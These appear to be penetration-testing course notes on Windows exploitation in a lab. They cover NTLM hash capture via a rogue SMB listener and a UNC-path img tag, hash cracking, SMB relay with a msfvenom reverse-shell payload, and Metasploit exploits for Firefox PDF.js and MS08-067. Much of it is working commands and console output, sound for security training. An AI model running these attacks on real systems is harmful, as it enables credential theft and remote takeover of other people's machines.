Exploitation
5.3. Exploitation
Once we have attempted to exploit weak, remote authentication we can move on the next phase: exploitation
Having found vulnerabilities within our target, we can now proceed with their exploitation. Although there are many exploits available online that you can download, compile and run against your target machines, we will use a very powerful tool: Metasploit
First, we will show some basic usage of Metasploit and then we will get deeper into the exploitation. Notice that most of the exploit can be divided in 3 categories:
Client-side exploits They usually require user interaction in order to be triggered (open a link, an executable file, etc.)
Remote exploits Do not require user interaction and usually affect services listening on the network
Local privilege escalation The attacker has access on the machine (limited) thus, the exploit allows the attacker to gain higher privileges on the machine
5.3.1. Metasploit In General
Metasploit is an exploitation framework that makes it very easy to access a library of exploits created by the community.
Knowing how to use the most important Metasploit features will help you to speed up various process and tasks. It will also help you implement, create, and develop exploits.
One of its main features is the ability to easily write, extend, and customize the framework in order to include custom exploits or payloads.
Find the info on your own or from the vids
5.3.2. Windows Authentication Weakness
Before seeing client and remote side exploits, let's focus on one of the first and easiest attacks a penetration tester may run against Windows systems.
We will see, by exploiting the weak Windows authentication protocols, that we may be able to gain access to the remote systems.
The authentication protocol used between Windows clients and servers is called [NTLM][https://msdn.microsoft.com/en-us/library/windows/desktop/aa378749(v=vs.85).aspx](NT LAN Manager). Although NTLM has been replaced by Kerberos, it is still widely used and supported in Windows machines. For example, it is used either when the client is authenticating to a server using an IP address or, when the client id authenticating to a server that does not belong to the same domain.
In order to understand future NTLM attacks explained in this module, we first have to understand how NTLM works. NTLM authentication is a challenge/response protocol and consists of 3 messages:
Type 1 (negotiation)
Type 2 (challenge)
Type 3 (authentication)
The whole challenge/response works like this:
The clients send the Type 1 message, which contains the username (in plaintext)
The server generates the challenge and sends it back to the client
The client encrypt the challenge with the hash of the user password and returns the results of the computation to the server
As you can imagine, the actual password is never sent on the network, since it is hashed and encrypted. The schemes used to encrypt and send the Type 3 response have changed over the years due to lack of security.
The very first scheme was LM, which turned out to be very simple and easy to crack. As the result, it was replaced by NTLM, which in turn was deprecated by NTLMv2 and finally Kerberos at the end.
Notice that recent Windows OS might still store LM hashes for backward compatibility and send them with the NTLM protocol.
Now that we know a bit more about how the authentication process works, let us dive into how the response (Type 3) are generated and why they are so weak.
5.3.2.1. LM/NTLMv1
The algorithm used to compute LM Hash is DES and here are the steps used by Windows to do so:
Password is transformed to upper case
Add null chars until it is 14-bytes long
Split the password in two blocks (7 bytes chunks plus a byte of parity)
Each of the 2 keys used to encrypt the fixed string
KGS!@#$%(8 byte ciphertext)The 2 ciphertext are concatenated tot from a 16-byte value
Example: abcde -> ABCDE -> ABCDE_________ -> ABCDE__``_______ -> yVie567b``g1ver6Bq -> yVie567bg1ver6Bq
The computation of the NTLM hashes is still very simple:
The user's password is converted to Unicode
MD4 is then used to get a 16-byte long hash
By using Unicode, the allowed charset is much wider. Although it addresses some LM flaws, it is still considered weak.
Moreover, the NTLM response it sent together with the LM response, most of the time.
We do not want to go deeper in detail ion how these hashes are calculated. Instead, at this time we prefer to focus on the LM and NTLM authentication protocols that use the hashes to perform authentication.
Now that we know how Windows computes LM and NT hashes, let us quickly recap how the LM and NTLM authentication protocols works in order to completely understand how to attack them. As you already know, these protocols are used to authenticate a client to a server, where the server has some way to verify the credentials sent by the client. Notice that both protocols are identical, except for the hash they use in their message at step 3.
The 2 protocols work as follows: 1. The client sends a request for authentication 2. Server sends a 8-byte challenge (random value) 3. Client encrypts the challenge using the password hash and send it back as response
The goal of our attack is to gain the password hash through the implementation of this protocol.
During the attack we will impersonate the server. Notice that the most important part of the protocol is step 3, where the client hash resides.
Hashing process in general: 1. The generated hash (16-btyes long) is padded with 5 null bytes making it a 21-bytes string.
Example : 1A2B3C4D5E6F7G1A2B3C4D5E6F7G1A2B``0000000000
Note : this is called NTLM hash that is different from the NT hash
2. This 21 bytes string is split into 3 blocks, 7 bytes long each + 1 parity byte.
The response will be then 24 bytes long. <br>
Example : `1A2B3C4D5E6F7G``1A2B3C4D5E6F7G``1A2B0000000000`
3. Each of these blocks will be the key to encrypt the Server challenge sent during message 2. <br>
Note that in the attack scenario we impersonate the server, and the challenge is chosen by us.If you want to go more in detail about the challenge response, you can check the following online resource.
Now that we know how LM and NTLMv1 authentication protocols work, we can move on and see how, as penetration tester, we can exploit their weaknesses.
To conduct a successful attack, we must first understand the weakness of the protocols:
No diffusion, meaning that each part of DES output is not linked to previous one. This allows attacks on the three blocks individually.
DES is an old algorithm with intrinsic weaknesses The third DES key is much weaker than the others, since it has 5 null bytes for padding.
The only randomness in the protocol is the server challenge (step 2 of the protocol) (Again, we impersonate the server, so we control that)
Let's now focus on how an attack can exploit these weaknesses. Our goal is to capture the client response (step 3 of the protocol - type 3 message)
There are 2 methods we can use: 1. Force the client (target) to start a connection to us (fake server) 2. Use MitM techniques in order to sniff the client response
In the next sections we will focus on the first one.
The first item we need to address in this exploitation process, is to create a listening SMB service that will both accept incoming connections, and send back a fixed challenge. As you can imagine, we use a fixed challenge to help us in decrypting the response.
Although there are many tools that allow us to do this, we will use the following Metasploit [module](http://www.metasploit.com/modules/auxiliary/server/capture/smb).
The following snapshot shows the module we are going to use for our tests:
```
msf auxiliary[smb] > use auxiliary/server/capture/smb
msf auxiliary[smb] > show options
Module options [auxiliary/server/capture/smb]:
Name Current Setting Required Description
---- --------------- -------- -----------
CAINPWFILE no The local filename to store the hashes in Cain&Abel format
CHALLENGE 1122334455667788 yes The 8 byte server challenge
JOHNPWFILE no The prefix to the local filename to store the hashes in John format
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine
SRVPORT 445 yes The local port to listen on
Auxiliary action:
Name Description
---- -----------
Sniffer
```
As you have already noticed, the `challenge` response is fixed to the value `1122334455667788`. It is a common practice to use this value.
Moreover, let us also set the `JOHNPWFILLE` option in order to tell Metasploit to automatically save the hashes to a file.
Notice that these hashes will be automatically saved and formatted to work with John the Ripper.
You should know that there is no timestamp or nonce in the Type3 message of the protocol.
Therefore, since we control the challenge (that acts as a salt in the hash). we can use rainbow tables, which can be found on various internet locations or torrents, to crack these hashes.
These tables have been built for the 8 byte server challenge we just saw (`1122334455667788`)Once the Metasploit listener is set up, we can move on the next step, which is to force the client to start a connection to it. One of the easiest ways to force the initiation of the NTLM protocol is through SMB authentication.
For example, we can embed a Universal Naming Convention (UNC) path (`\\SERVER_IP\\SHARE`) into an email message or a web page.
This again, will force the victim's system to authenticate to the SMB listener on our machine. The following HTLM tag will do just fine:
```
<img src="\\192.168.102.147\ADMIN">
```
Here, `192.168.102.147` is our server with the listener
The following snapshot shows what happens when someone opens the page and attempt a connection to our listener.
```
msf auxiliary[SMB] > run
(*) Auxiliary module execution completed
(*) Server started
msf auxiliary[SMB] > (*) SMB Capture - Empty hash captured from 192.168.102.135:1040 - 192.168.102.135 captured.
(*) SMB Captured - 2016-02-17 10:40:53 -05000
NTLMv1 Response Captured from 192.168.102.135:1040 - 192.168.102.135
USER:els DOMAIN:ELS-CF2B00A3CBC OS:Windows 2002 Service Pack 3 2600 LM:Windows 2002 5.1
LMHASH:52f46e71875e8c608e7c3d8cc080ae2a8f85252cc731bb25
NTHASH:8286e6fe0f7355478f16de535ade37d55e6d0c0f9e3ccd59
(*) SMB Captured - 2016-02-17 10:40:55 -05000
NTLMv1 Response Captured from 192.168.102.135:1040 - 192.168.102.135
USER:els DOMAIN:ELS-CF2B00A3CBC OS:Windows 2002 Service Pack 3 2600 LM:Windows 2002 5.1
LMHASH:52f46e71875e8c608e7c3d8cc080ae2a2f85252cc731bb25
NTHASH:8286e6fe0f7355478f16de535ade37d55e6d0c0f9e3ccd59
```
Also notice that every time the client connects to us, the hash remains the same (the challenge is fixed). This demonstrates that the protocol's randomness is defeated using the crafted challenge : `1122334455667788`.
So, we can state that there is no randomness at all.
LMHASH and NTHASH represent the response by the client during the NTLM protocol.
Note that in the previous snapshot, LMHASH and NTHASH are different, indicating that LM is in use.
If both hashes are the same, it would mean that only NT hashes are in use on the remote client.
It is very useful to know that when the password length is =< 7 characters (i.e. `1234567`), the last 8 bytes of the NTLM response are always the sane: `2f85252cc731bb25`
The following snapshot shows 2 captured responses, each with password less than 7 characters. As we can see, the last 8-bytes of LMHASH do not change.
```
(*) SMB Captured - 2016-02-17 10:40:12 -05000
NTLMv1 Response Captured from 192.168.102.135:1040 - 192.168.102.135
USER:els DOMAIN:ELS-CF2B00A3CBC OS:Windows 2002 Service Pack 3 2600 LM:Windows 2002 5.1
LMHASH:fce0288fcecDeda10dd0009b188149b92f85252cc731bb25
NTHASH:fecbd648564a732928587b7a4632221826d57bde8b324a02
(*) SMB Captured - 2016-02-17 10:40:26 -05000
NTLMv1 Response Captured from 192.168.102.135:1040 - 192.168.102.135
USER:els DOMAIN:ELS-CF2B00A3CBC OS:Windows 2002 Service Pack 3 2600 LM:Windows 2002 5.1
LMHASH:52f46e71875e8c608e7c3d8cc080ae2a2f85252cc731bb25
NTHASH:8286e6fe0f7355478f16de535ade37d55e6d0c0f9e3ccd59
```Now that we have the hashes, we can start cracking them in different ways with different tools. If you remember, we set the Metasploit module to automatically save the credentials into a file. The following is the content of the file: root@els:~# cat hashpwd_netntlm els:;ELS-CF2B00A3C8C;52f46e71875e8c608e7c3d8cc080ae2a2f85252cc731bb25 8286e6fe0f7355475f16de535a4e37d55e6d0c0f9e3ccd59:1122334455667788
We can now feed this file to John the Ripper and let it crack the password.
The command we are going to use is very simple ([here](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats) you can find a list of formats and meaning):
```
root@els:~# john --format-netlm hashpwd_netntlm
Using default input encoding: UTF-8
Using default target encoding: CP850
Loaded 1 password hash (netlm, LM C/R [DES 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ELS (els)
1g 0:00:00:00 DONE 1/3 (2016-02-18 04:04) 3.125g/s 25.00c/s 25.00C/s ELS..ELSES
Use the "--show" option to display the cracked password reliably
Session completed
```
The password is `els`
As you can see, cracking the previous hash took less than a second, but you should be aware that complex password hashes may take much more time.
To quicken the cracking process we can use rainbow tables together with **rcrack_mt** (an edited version of *rcrack*)
You can download the tables here:
- [rcracki_mt](https://github.com/foreni-packages/rcracki_mt)
- [Rainbow table 1](http://project-rainbowcrack.com/table.htm)
- [Rainbow table 2](http://ophcrack.sourceforge.net/tables.php)
Once we have downloaded the correct tables and the tool, we can now copy the first 8-bytes of the LMHASH response and use them to start the cracking process.
```
msf auxiliary(smb) > (*) SMB Captured - 2016-02-18 05:00:02 -0500
NTLMv1 Response Captured from 192.168.102.135:1501 - 192.168.102.135
USER:els DOMAIN:ELS-CF2B0OA3CBC OS:Windows 2002 Service Pack 3 2600 LM:Windows 2002 5.1
LMHASH:1f548398f0f49ea18e2f0dcb9562b75eaa32e75aebf1d69c
NTHASH:2a37bff52112d55b41f4d124d3e508dd945b07bb1735ddbf
```
Given the following hashes, the command we will run is:
```
rcracki_mt -h 1f548398f0f49ea1 -t 4 *.rti
```
Description:
- `-h` is used to specify the first 8-bytes of the LMHASH
- `-t` is the number of threads to use
- `*.rti` is the path of the downloaded rainbow tables
At the end of the process you should be able to obtain something similar to the screenshot (see image). The password recovered is `ELSPWD1`.
The tool found the password in few seconds but, since we cracked just part of the hash, the real password may be longer than the one discovered.
What we can do now is brute-force the remainder of the hash. In the `metasploit-framework/tools/password` folder, there is a ruby script named `halflm_second.rb` that does exactly what we need.
We just need to feed the script with the entire hash and the first characters of the password we found.
```
ruby halflm_second.rb -n
1f548398f0f49ea18e2f0dcb9562b75eaa32e75aebf1d69c -p ELSPWD1
```
Output:
```
[*] Trying one character...
[*] Trying two characters (eta: 2.229339599609375 seconds)...
[*] Cracked: ELSPWD123
```
Description:
- `1f548398f0f49ea18e2f0dcb9562b75eaa32e75aebf1d69c` : complete hash
- `ELSPWD1` : half discovered password
Although, we cracked the entire password, we can see that it is all in uppercase, which may not be accurate (`ELSPWD123`). The next step is to find the case-sensitive password.
To do this we can use a Perl script contained in the john folder: `netntlm.pl`:
```
root@els:/usr/share/metasploit-framwork/data/john/run.linux.x64.mmx# perl netntlm.pl
john-netntlm.pl v0.2
JoMo-Kum <jmk@foofus.net>
Usage: netntlm.pl [OPTIONS]
netntlm.pl
--seed [RainbowCrack/HalfLM Response Password]
--file [File Containing LM/NTLK challenge/responses (.lc format)]
Ex: Domain\User::LM response:NTLM response:challenge
```
As you can see from the tool's help manual, we need to provide the LM/NTLM challenge/response and the password discovered. For the hash, we will use the file that Metasploit automatically created for us, thus our command is as follows:
```
perl netntlm.pl -file /root/hashpwd_netntlm -seed ELSPWD123
```
You can also use `netntlm.pl` in order to find the entire uppercase password (instead of `halflm_second`).
Once again, we have to provide the challenge/response file and then seed it, see below (notice the seed is `ELSPWD1`):
```
perl netntlm.pl -file /root/hashpwd_netntlm -seed ELSPWD1
```
Output: `eLSPwd123`5.3.2.2. NTLMv2
So far we have seen how LM/NTLMv1 weakness could be easily exploited to obtain the user credentials.
To address these security concerns, NTLMv2 was developed and, since Windows Vista, it is used by default. The NTLMv2, introduced in Windows NT 4.0, still uses NT hashes, but with a much improved protocol.
The main difference with the old NTLMv1 is that the type 3 message is generated in a different way. Once again, the Type 3 message is the most important part of the protocol. The Type 3 message is where the protocol security resides. The NTLMv2 response is built as follows: - NTLMv2 hash Contains the HMAC-MD5 of the NT hash and the pair <USERNAME, Server> - USERNAME is uppercase and Server is case sensitive - NTLMv2 response Contains the HMAC-MD5(NTLMv2 Hash, <BLOB,Server_challenge>), sent along with the BLOB - (Server receives hash + blob) - Note that the BLOB contains a client challenge and the timestamp
```
------------------------ NTLM HASH
| Key
V
HMAC-MD5 [k,(username, domain)] = NTLMv2 HASH
-----------------------------|
| Key
V
HMAC-MD5 [k,(server challenge, Blob)] = 16-byte value
---------------------------------------|
| Key
V
16-Byte Value, Blob = NTLMv2 response
```
Here is how the BLOB is built:
- BLOB signature (4 Bytes)
- Reserved (4 Bytes)
- Timestamp (8 Bytes)
- Client nonce (Random 8 Bytes)
- Unknown (4 Bytes)
- Target information (Variable length)
- Unknown (4 Bytes)The following snapshot show the captured NTLMv2 responses. As we can see, due to the timestamp, they are different every time:
(*) SMB Captured - 2016-02-18 07:18:31 -0500
NTLMv2 Response Captured from 192.160.102.149:1054 - 192.160.102.149
USER:els DOMAIN:els OS:LM;
LMHASH:Disabled
NTHASH:5705b9baad9830a64cd55f1668b9f4bf
NT_CLIENT_CHALLENGE:010100000000000da14f47a466ad101a85b513193d2c38c00000000020000000000000000000000(*) SMB Captured - 2016-02-18 07:42:26 -0500
NTLMv2 Response Captured from 192.160.102.149:1054 - 192.160.102.149
USER:els DOMAIN:els OS:LM;
LMHASH:Disabled
NTHASH:8ad9b5bab3012a9459641421263eb96b
NT_CLIENT_CHALLENGE:010100000000000512ec3d2496ad101315a61140c28c74900000000020000000000000000000000Under the security perspective, NTLMv2 changes are as follows:
Due to timestamp and the client response, the response changes every time
Impossible to create a rainbow tables to gather the NT hash or the password from the NTLMv2 response
Dictionary does not make sense as the key is a hash
The only possible attack is by brute-forcing the HMAC key
The NTLMv2 hash is bound to a particular server and particular username so it is not reusable
For more details about NTLMv2 protocol you can use these references:
Although cracking NTLMv2 hashes is considered infeasible (caveat: if the password is strong enough), we can still use the hash to mount different attacks. We will see these in the coming sections.
5.3.2.3. SMB Relay on NTLMv1
Although cracking LM/NTLMv2 challenge/response was quite easy and straightforward, there is another attack that we can mount, in order to bypass the cracking phase and directly obtain access to the target machine.
SMB Relay attacks allow the attacker to re-use authentication attempts in order to gain access to a system in a network.
History The SMB Relay attack borrows the name from the tool released back in 2001 by (Sir Dystic)[https://en.wikipedia.org/wiki/Sir_Dystic], called SMB Relay.
Although both the tool and the exploit worked well for that time, Microsoft partially fixed this vulnerability 7 years later. After 14 years, at Black Hat USA 2015, 2 researchers demonstrated how the vulnerability can still be exploited
Recap Before seeing how the attack works, let's recap how the LM/NTLM challenge/response protocol works: 1. Client sends a request for authentication 2. Server sends the challenge (random value) 3. Client encrypts the challenge using the password hash and send it back 4. Server attempts to decrypt the challenge/response
During an SMB relay attack, the attacker acts like a man in the middle (see img-162):
The attacker (A) selects the target server (T) and waits until someone (S) in the network tries to authenticate to his machine
When someone tries to authenticate on the attacker, it send the authentication attempt to the selected target
The target creates the challenge and sends it back to the attacker
The attacker sends the challenge to the machine that initiated the connection (S)
The machine encrypts the challenge with the password hash and sends it back to the attacker
The attacker sends the encrypted challenge to the target and authenticates itself
Now that we know how the attack works, let us see how we can execute it. The tool we are going to use is Metasploit and smb_relay module. It is important to know that the attack works only if the user, who is trying to authenticate on the target machine, has administrative privileges on the target.
In our scenario, the machine involved in the attack are the following: - Attacker : 192.168.102.147 - Target : 192.168.102.149 - Administrator : 192.168.102.135 The machine that will initiate the communication to our box (computer)
The first step to mount the attack is to set up and run the smb_relay module: ``` msf exploit(smb_relay) > show options
Module options (exploit/windows/smb/smb_relay):
Name Current Setting Required Description
---- --------------- -------- -----------
SHARE ADMIN$ yes The share to connect to
SMBHOST 192.168.102.149 no The target SMB server (leave empty for originating system)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the l
SRVPORT 445 yes The local port to listen on
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.102.147 yes The listen address
LPORT 4444 yes The listen port
```Once the module is running, we need to wait for someone (administrator machine in our case) to try to connect to our machine. This may happen due to routing process such as backups, patch management, updates, and so on.
As soon as the machine begins the authentication process, we will see results in our Metasploit session. And if the credentials used are correct, we will be able to obtain a meterpreter session on the machine: ``` msf exploit(smb_relay) > () Sending NTLMSSP NEGOTIATE to 192.168.102.149 () Extracting NTLMSSP CHALLENGE from 192.168.102.149 () Forwarding the NTLMSSP CHALLENGE to 192.168.102.135:1277 () Extracting the NTLMSSP AUTH resolution from 192.168.102.135:1277, and sending Logon Failure response () Forwarding the NTLMSSP AUTH resolution to 192.168.102.149 [+] SMB auth relay against 192.168.102.149 succeed () Connecting to the defined share... (*) Regenerating the payload
msf exploit(smb_relay) > sessions
Active sessions
===============
```As we have already mentioned, this will only work if the target machines has the "Network security: LAN Manager authentication level" set to "Send LM&NTLM responses" (see img-168)
5.3.2.4. SMB Relay on NTLMv2
Notice that configuring the authentication level to "Send NTLMv2 response only" may not stop the attack (see img-169)
Although the Metasploit smb_relay module works quite well, in the next example we will use another tool to mount our attack: [Impacket][https://github.com/coresecurity/impacket]
More specifically, we will use the [smbrelayx.py][https://github.com/CoreSecurity/impacket/blob/e8dc587dab030787f2b2a23afebebae785e8018e/examples/smbrelayx.py] script. Once you download and install the tool, you will be able to run the script directly from the terminal.
As you can see in the help manual, we will have to set the target host (-h) to relay the credentials. In addition, we can also either set a file (-e) or a command (-c) to execute.
Since we want to execute a meterpreter payload, we not only will have to create it, but also start a handler on our machine. The handler will simply listen for incoming connections and, once received, it will establish a session with the target host.
Let's first create the .exe payload that Impacket will execute on the target machine. To do this we will use [msfvenom][https://community.rapid7.com/community/metasploit/blog/2011/05/24/introducing-msfvenom]
The command we are going to use is the following: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.102.147 LPORT=4455 -f exe -o smbexp.exe Description: - -p indicates the payload to use - LHOST is the host to which the payload will connect (our attacker machine) - LPORT is the port on which the connection is established - -f specifies the format of the file (exe in our case) - -o tells where to output the file
The output of the command is the following. As we can see the payload has been successfully created and we can now use it with smbrelayx. (see img-174)
smbrelayx.py -h 192.168.102.149 -e /home/stduser/smbexp.exeAs stated before, we also have to start a Metsploit handler. The handler will listen for incoming connections from the target machine (once our payload is executed) and will establish the meterpreter session.
To do this we have to start the msfconsole and configure the `exploit/multi/handler` module
Notice that the handler must be configured accordingly with the payload settings used previously.
Once configured we can start the handler with the `run` command.
```
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Module options (exploit/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC ADMIN$ yes Exit technique (Accepted : '', sed, thread, process, none)
LHOST 192.168.102.147 yes The listen address
LPORT 4455 yes The listen port
```
Now that everything is set, we have to configure and start **smbrelayx**.
The command we will use is the following:
```
smbrelayx.py -h 192.168.102.149 -e /home/stduser/smbexp.exe
```
Here we set the target host with the `-h` option and we also instruct the script to run the **smbexp.exe** file once the attack succeeds.
Now we wait for a host on the network to star the authentication with our machine.
Once it occurs we will see the following output on our terminal windows (see img-178)
If we go back in the terminal where the handler is running, we can see the following output:
```
msf exploit(handler) > run
(*) Started reverse TCP handler on 192.168.102.147:4455
(*) Starting the payload handler...
(*) Sending stage (957457 bytes) to 192.168.102.149
(*) Meterpreter session 7 opened (192.168.102.147:4455 -> 192.168.102.149:1069 at 2016-02-20)
```
This means that the exploit succeed and now we have a meterpreter session on the target machine.5.3.2.5. EternalBlue (MS17-010)
In 2017, one of the more impactful exploits affecting SMB was exposed by a hacker group known as the "Shadow Brokers" and was known as "[Eternal Blue][https://en.wikipedia.org/wiki/EternalBlue]", one tool among many purportedly created by the [Equation Group][https://en.wikipedia.org/wiki/Equation_Group]
EternalBlue was also known to have helped carry out the "[NotPetya][https://en.wikipedia.org/wiki/2017_NotPetya_cyberattack]" cyberattack and was also found to have been used in various Banking Trojans such as "Retefe" that same year.
The vulnerability affected Microsoft's SMBv1 implementation, and was also given CVE-ID ([CVE-2017-0144][https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0144]) and a critical security bulletin was also released by Microsoft as [MS17-010][https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/ms17-010]
The vulnerability arises due to the way SMBv1 server handles specially crafted packets of which, ultimately results in remote code execution as the NT AUTHORITY/SYSTEM user when exploited.
Although many exploits exist in a number of different languages for EternalBlue, a couple of the more well-known modules for both detecting whether a system is vulnerable, and also for exploitation can be found in the Metasploit framework.
Modules:
[Auxiliary Module for detecting vulnerable host][https://www.rapid7.com/db/modules/auxiliary/scanner/smb/smb_ms17_010]
(See Video-186)
5.3.3. Client-Side Exploitation
We will now start exploiting the vulnerabilities found in the previous phases (vulnerability scanning).
We have already seen how to use Nessus, and by this point of your Penetration test, you should have a vulnerability report with a list of vulnerable targets.
It is time to check if we can exploit these machines using exploits and tools like Metasploit. We will focus on 2 vulnerabilities that will help you to better understand how to perform the exploitation steps.
A client-side exploit requires some type of user interaction such as: clicking a link, opening a file (document, PDF, etc) and so on. Client-side exploits target installed applications such as browsers, browsers plugins, email clients and so on.
Depending on the exploit, the user interaction and the attack configuration may change. What we are going to see in the coming slides is how we can configure a Metasploit module that will do everything for us.
The Metasploit module that we are going to use is called [firefox_pdfjs_privilege_escalation][http://www.zerodayinitiative.com/advisories/ZDI-15-110/]. As you can read in the module description, it can execute arbitrary code by abusing a flaw existing in the way Firefox handles documents loaded through the resoure:URL. In this case the module exploits the Mozilla PDF.js PDF file viewer.
Let's start selecting and configuring the module. The following is the snippet of the information provided by the module:
msf > use exploit/multi/browser/firefox_pdfjs_privilege_escalation
msf exploit(firefox_pdfjs_privilege_escalation) > info
Name: Firefox PDF.js Privileged Javascript Injection
Module: exploit/multi/browser/firefox_pdfjs_privilege_escalation
Platform:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Manual
Disclosed: 2015-03-31Remember that we can verify the module options with the show options command.
For our tests, we will configure the SRVHOST, SRVPORT, and PAYLOAD options in order for the module to work.
SRVHOST: the local host to listen on (our IP address)SRVPORT: the local port to listenPAYLOAD: the type of payload we will execute
Also notice that our machine is in the same network as the target system therefore, we can use our local IP address. The following is our module configuration:
Name Current Setting Required Description
---- --------------- -------- -----------
CONTENT no Content to display inside the HTML display
Retries true no Allow the browser to retry the module
SRVHOST 192.168.102.147 yes The local host to listen on
SRVPORT 8080 yes The port host to listen on
SSL false no Negotiate SSL for incoming connection
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH test no The URI to use for this exploit (default is random)
Payload options (firefox/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.102.147 yes The listen address
LHOST 4444 yes The listen portAs you can see from the previous screenshot, we set the following payload: firefox/shell_reverse_tcp. Remember that depending on the selected exploit module, the payloads available may change. In this case we have only a few payloads:
msf exploit(firefox_pdfjs_privilege_escalation) > set payload
set payload firefox/exec set payload generic/custom
set payload firefox/shell_bind_tcp set payload generic/shell_bind_tcp
set payload firefox/shell_reverse_tcp set payload generic/shell_reverse_tcpNow that we have configured the module, we can run it with the exploit command:
msf exploit(firefox_pdfjs_privilege_escalation) > exploit
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.102.147:4444
msf exploit(firefox_pdfjs_privilege_escalation) > [*] Using URL : http://192.168.102.147:8080/test
[*] Server started.Metasploit automatically starts a web server, which hosts a web page containing the exploit itself. Now we just need to lure the victim into opening the address.
If a user happens to connect to our server, we will see something like the following on the msfconsole:
msf exploit(firefox_pdfjs_privilege_escalation) >
[*] 192.168.102.151 firefox_pdfjs_privilege_escalation - Gathering target information
[*] 192.168.102.151 firefox_pdfjs_privilege_escalation - Sending HTML response
[*] 192.168.102.151 firefox_pdfjs_privilege_escalation - Sending exploit...
[*] 192.168.102.151 firefox_pdfjs_privilege_escalation - Sending exploit...
[*] Command shell session 4 opened (192.168.102.147:4444 -> 192.168.102.151:51251) at 2016-02-22Here we can see that the exploit succeeded and a command shell on the target machine is created. Metasploit automatically sends the exploit and creates the session.
Notice that the shell obtained is a simple command prompt shell, whereby, we can run any command we desire (may run a common windows command prompt). We will see in the Post Exploitation module how to get the best out of these shells. ``` systeminfo
Host Name: MSEDGEWIN10
OS Name: Microsoft Windows 10 Enterprise Evaluation
OS Version: 10.0.10240 N/A Build 10240
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner:
Registered Organization: Microsoft
Product ID: 00329-20000-00001-AA421
Original Install Date: 9/25/2015, 7:44:42 AM
System Boot Time: 2/19/2016, 8:09:09 AM
```As you have seen, configuring Metasploit modules in order to exploit client-side vulnerabilities is very straightforward.
In the next video we will use a different Metasploit module ([adobe_flash_hacking_team_uaf][https://www.rapid7.com/db/modules/exploit/multi/browser/adobe_flash_hacking_team_uaf]) in order to review the entire attack process from the very beginning.
(See video-200)
5.3.4. Remote-Side Exploitation
While client side exploitation is extremely dangerous, it does involve some action to be taken by the user (visiting a link, opening an email, etc).
In contrast, remote exploitation does not require this interaction therefore, making it even more dangerous. These attacks target both applications and software that expose services, reachable from other machines in the network.
Although the following is a very old vulnerability, we will use it since it well suite for learning purpose.
On October 23rd, 2008 a Critical Microsoft Security Bulletin (MS08-067) was published admitting a remote code execution in the Server Service.
This issue is triggered when a specially crafted RPC request is sent to the victim machine and then, without authentication, an attacker could execute arbitrary code.
[Here][http://technet.microsoft.com/en-us/security/bulletin/ms08-067] is the link to Microsoft bulletin that describes the vulnerability.
As you can see, OS's such as MS Windows 2000, Windows XP, Vista, and Windows Server 2003/2008 are affected. Here you can find more information about it:
What about Metasploit and MS08-067? By searching the modules database you can see that Metasploit implements a module for this vulnerability and it is called ms08_067_netapi.
Example: ``` msf > search ms08_067
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/smb/ms08_067_netapi 2008-10-28 great MS08-067 Microsoft
```With the info command, you can see information about the module such as targets, options, and payloads: ``` Name: MS08-067 Microsoft Server Service Relative Path Stack Corruption Module: exploit/windows/smb/ms08_067_netapi Platform: Windows Privileged: Yes License: Metasploit Framework License (BSD) Rank: Great Disclosed: 2008-10-28
Provided by:
....
Payload Information:
Space: 410
Avoid: 8 characters
Description:
...............
```Now it is time to see the Metasploit module in action. As usual, we have to configure the module options first. If we run show options we can see that they differ a bit from the modules used before. Here we have to specify the remote host (RHOST) that we are going to exploit: ``` Module options (exploit/winsows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
```Remember that, since this is a remote exploit, we do not requie any user interaction from the victim. We just need to set the remote host IP address and the payload to use: ``` Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit techique (Accepted '', seh, thread, process, none)
LHOST 192.168.102.147 yes The listen address
LHOST 4444 yes The listen port
```Once we have the module options configured, we can run exploit and metasploit will do the rest. If the machine is vulnerable and the exploit succeeds, we will get a new meterpreter session.
```
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse TCP handler on 192.168.102.147:4444
[*] Automatically detecting the target
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysON NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (957487 bytes) to 192.168.102.131
[*] Meterpreter session 7 opened (192.168.102.147:444 -> 192.168.102.131:1039) at 2016-02-2
```As you can see, these type of vulnerabilities are very dangerous because of the fact that the victim is completely unaware of what is happening. Since the MS08_067 vulnerability affect an OS service, it has been one of the most critical vulnerability that has ever existed.
Vulnerabilities like this still exist on software and applications installed on the machine. In the next video we will see the whole attack in action.
(See video - 210)
At this point of your penetration test you should have a working exploit. In the next video we are going to see some further Metasploit features that can be used once we exploit and obtain a session on the target machine.
Last updated
Was this helpful?